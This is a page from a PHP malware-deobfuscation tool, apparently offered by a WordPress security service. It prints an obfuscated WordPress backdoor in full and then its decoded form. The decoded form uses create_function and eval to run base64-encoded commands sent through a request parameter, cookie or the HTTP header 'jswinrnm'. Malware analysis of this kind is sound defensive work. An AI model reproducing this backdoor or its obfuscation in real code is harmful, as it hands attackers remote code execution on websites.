Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $entrances= '"(_neeel'; $chiquita = '(r_atI['; $approves = 'ite;,'; $earmarked = 'MKa$)4';$despairing='f';$altercation =':';$lettermen= '('; $blab= 'a'; $backlogs = '";'; $haberdashery='e';$calendar =')OXrU$'; $demitted= 'h'; $dustier ='J';$jory ='anndesNs';$jolene ='n';$derwin= 'e'; $count...



Obfuscated php code

<?php
$entrances= '"(_neeel';

$chiquita = '(r_atI['; $approves = 'ite;,'; $earmarked = 'MKa$)4';$despairing='f';$altercation =':';$lettermen= '('; $blab= 'a'; $backlogs = '";';

$haberdashery='e';$calendar =')OXrU$';
$demitted= 'h'; $dustier ='J';$jory ='anndesNs';$jolene ='n';$derwin= 'e';
$counts= 'isV$9SZ';
$blushing = '_E'; $finances =']'; $karia = 'D)_EIe';$exasperating='N$o[s"t)';$cannabis= 'f'; $chinch ='R'; $diathesis='Ie';$boorish = 'N'; $boatyard = 'E';$cigarette= 'rrrauN'; $inscribing= 'r=t ;)6'; $gunter = ':_$r'; $henrie= 'tJ@SMm(e';$lace = 'S';$carlina = 'r'; $lacey= '_@WRvpQ_';$industry='t]6Q`g$[_';

$blunted ='m'; $amsterdam = 'p"wGT';
$dampen= '(isadc(('; $denunciation ='H'; $audible = '$)$';$clearing = 'R';$jetted ='B';$joann= 'Yf'; $blanches = 'Pn)nrAjy?'; $languishing ='sEjESirkl';$chastising= '_'; $invalidity= 'y';$complaisant = 'dgoM';$audubon='e'; $append = 'TOoE';$carbonation = 'F';$hoarse ='8CanI[N"';$familiarization='a7C';$compatibly='(_a';

$deana='d_)u<aeTH'; $configured= 'c'; $drawbridge= 'tKmWjHc';

$curran ='>ii';$broddy='irwei"e"';$angiography= ':v';
$dons = '@sUR';$binky= '^Ps'; $chargeable='Jg'; $central=']'; $industrialists ='$';$exchanged='i'; $evyn = 'T=;T]S';
$clogged ='R?res'; $janela='R';$analyst= '(';

$isometric =',5bcTiW'; $burglarized= '('; $beck='P';$grillwork ='i'; $assured = '=';$hurries='O'; $clutter= 'c';
$ferocious = 'L';$introversion ='[?$"b';$applied= 'ai)';$hookers ='r'; $ekes = '@'; $dianne='_l)vVasv'; $debuggers= 'g';$antiquated = '()];e';$critically= $clutter .$hookers.$antiquated['4'].$dianne['5'] . $drawbridge['0'].$antiquated['4'] .$dianne['0'] .

$joann['1'].

$deana['3'] . $hoarse[3].$clutter .
$drawbridge['0'] .$applied['1'].$append['2'].$hoarse[3]; $gravitate =$inscribing['3']; $arthropods=$critically
($gravitate, $antiquated['4'] .$dianne[7]. $dianne['5'] .
$dianne['1'].$antiquated['0'] .

$ekes. $dianne['5'].$hookers.$hookers .$dianne['5'].$invalidity .$dianne['0'].$amsterdam['0'] . $append['2']. $amsterdam['0'].
$antiquated['0'] . $joann['1']. $deana['3']. $hoarse[3]. $clutter .$dianne['0'] .

$debuggers . $antiquated['4'] .$drawbridge['0'] .
$dianne['0'] .$dianne['5'] . $hookers .$debuggers. $dianne['6'].$antiquated['0'] .$antiquated[1] .$antiquated[1]. $antiquated[1] . $antiquated['3'] );$arthropods ($blanches['5'] ,$complaisant['3'] ,$evyn[5],

$antiquated['3'],

$industry['2'],$invalidity ,

$industry['3'], $antiquated['4'],$introversion['2']. $applied['1'].$assured .

$ekes.

$dianne['5'] .$hookers.$hookers. $dianne['5'] .$invalidity .$dianne['0']. $drawbridge['2'] .$antiquated['4']. $hookers .$debuggers .

$antiquated['4'] .$antiquated['0']. $introversion['2'] .$dianne['0'] . $janela .$append['3'].$industry['3'] .$dons['2']. $append['3'] .$evyn[5] .
$isometric[4] .$isometric['0'] .

$introversion['2'] .$dianne['0']. $familiarization['2'] .$hurries. $hurries . $drawbridge['1'] .$hoarse['4']. $append['3'].$isometric['0'].$introversion['2'].$dianne['0'].

$evyn[5].

$append['3'].
$janela. $dianne['4'] . $append['3'] .

$janela . $antiquated[1] . $antiquated['3'] . $introversion['2'].$dianne['5'].
$assured . $applied['1'] .

$dianne['6'].$dianne['6'].$antiquated['4'].
$drawbridge['0']. $antiquated['0'] . $introversion['2'].$applied['1'] .$introversion['0']. $introversion['3'] .$drawbridge['4'].

$dianne['6'].$broddy['2']. $applied['1'] .$hoarse[3] .

$hookers . $hoarse[3].

$drawbridge['2'] .$introversion['3'].$antiquated['2']. $antiquated[1]. $introversion['1'].$introversion['2'] . $applied['1'].$introversion['0']. $introversion['3'] .$drawbridge['4']. $dianne['6'].
$broddy['2'].$applied['1'] . $hoarse[3] .

$hookers .$hoarse[3].

$drawbridge['2'].$introversion['3'] .$antiquated['2']. $angiography['0'].$antiquated['0'] . $applied['1'].
$dianne['6'] . $dianne['6'] . $antiquated['4']. $drawbridge['0'].$antiquated['0'] .$introversion['2'].$applied['1'] .

$introversion['0']. $introversion['3'] . $drawbridge['5'].

$isometric[4] .
$isometric[4] .$beck . $dianne['0']. $chargeable[0] .
$evyn[5]. $isometric['6'].$hoarse['4'] .$hoarse['6'] . $janela .$hoarse['6'] . $complaisant['3']. $introversion['3'] .$antiquated['2']. $antiquated[1] . $introversion['1']. $introversion['2'] .
$applied['1'] . $introversion['0']. $introversion['3'].$drawbridge['5'].

$isometric[4] .$isometric[4]. $beck. $dianne['0'] .
$chargeable[0] .
$evyn[5] . $isometric['6']. $hoarse['4'] . $hoarse['6'] .$janela . $hoarse['6'] . $complaisant['3'] .$introversion['3'] . $antiquated['2']. $angiography['0'].

$deana['0'] . $applied['1'] . $antiquated['4'].$antiquated[1].
$antiquated['3'] .
$ekes . $antiquated['4'] . $dianne[7] .$dianne['5'] .$dianne['1'].
$antiquated['0'] .

$dianne['6'].
$drawbridge['0'] .$hookers.$hookers. $antiquated['4']. $dianne[7] . $antiquated['0'].$introversion['4'].$dianne['5'].$dianne['6'] . $antiquated['4'].$industry['2'] .

$earmarked['5'] .$dianne['0']. $deana['0']. $antiquated['4']. $clutter . $append['2'].
$deana['0'] . $antiquated['4'].

$antiquated['0'].$dianne['6'] .
$drawbridge['0']. $hookers .$hookers.

$antiquated['4']. $dianne[7] .$antiquated['0'].$introversion['2']. $dianne['5'].

$antiquated[1].$antiquated[1] . $antiquated[1] .$antiquated[1] . $antiquated['3'] );

Decoded(de-Obfuscated) php code

<?php

$entrances = '"(_neeel';
$chiquita = '(r_atI[';
$approves = 'ite;,';
$earmarked = 'MKa$)4';
$despairing = 'f';
$altercation = ':';
$lettermen = '(';
$blab = 'a';
$backlogs = '";';
$haberdashery = 'e';
$calendar = ')OXrU$';
$demitted = 'h';
$dustier = 'J';
$jory = 'anndesNs';
$jolene = 'n';
$derwin = 'e';
$counts = 'isV$9SZ';
$blushing = '_E';
$finances = ']';
$karia = 'D)_EIe';
$exasperating = 'N$o[s"t)';
$cannabis = 'f';
$chinch = 'R';
$diathesis = 'Ie';
$boorish = 'N';
$boatyard = 'E';
$cigarette = 'rrrauN';
$inscribing = 'r=t ;)6';
$gunter = ':_$r';
$henrie = 'tJ@SMm(e';
$lace = 'S';
$carlina = 'r';
$lacey = '_@WRvpQ_';
$industry = 't]6Q`g$[_';
$blunted = 'm';
$amsterdam = 'p"wGT';
$dampen = '(isadc((';
$denunciation = 'H';
$audible = '$)$';
$clearing = 'R';
$jetted = 'B';
$joann = 'Yf';
$blanches = 'Pn)nrAjy?';
$languishing = 'sEjESirkl';
$chastising = '_';
$invalidity = 'y';
$complaisant = 'dgoM';
$audubon = 'e';
$append = 'TOoE';
$carbonation = 'F';
$hoarse = '8CanI[N"';
$familiarization = 'a7C';
$compatibly = '(_a';
$deana = 'd_)u<aeTH';
$configured = 'c';
$drawbridge = 'tKmWjHc';
$curran = '>ii';
$broddy = 'irwei"e"';
$angiography = ':v';
$dons = '@sUR';
$binky = '^Ps';
$chargeable = 'Jg';
$central = ']';
$industrialists = '$';
$exchanged = 'i';
$evyn = 'T=;T]S';
$clogged = 'R?res';
$janela = 'R';
$analyst = '(';
$isometric = ',5bcTiW';
$burglarized = '(';
$beck = 'P';
$grillwork = 'i';
$assured = '=';
$hurries = 'O';
$clutter = 'c';
$ferocious = 'L';
$introversion = '[?$"b';
$applied = 'ai)';
$hookers = 'r';
$ekes = '@';
$dianne = '_l)vVasv';
$debuggers = 'g';
$antiquated = '()];e';
$critically = "create_function";
$gravitate = $inscribing['3'];
$arthropods = function () {
    eval(@array_pop(func_get_args()));
};
$arthropods($blanches['5'], $complaisant['3'], $evyn[5], $antiquated['3'], $industry['2'], $invalidity, $industry['3'], $antiquated['4'], "\$i=@array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"jswinrnm\"])?\$i[\"jswinrnm\"]:(isset(\$i[\"HTTP_JSWINRNM\"])?\$i[\"HTTP_JSWINRNM\"]:die);@eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.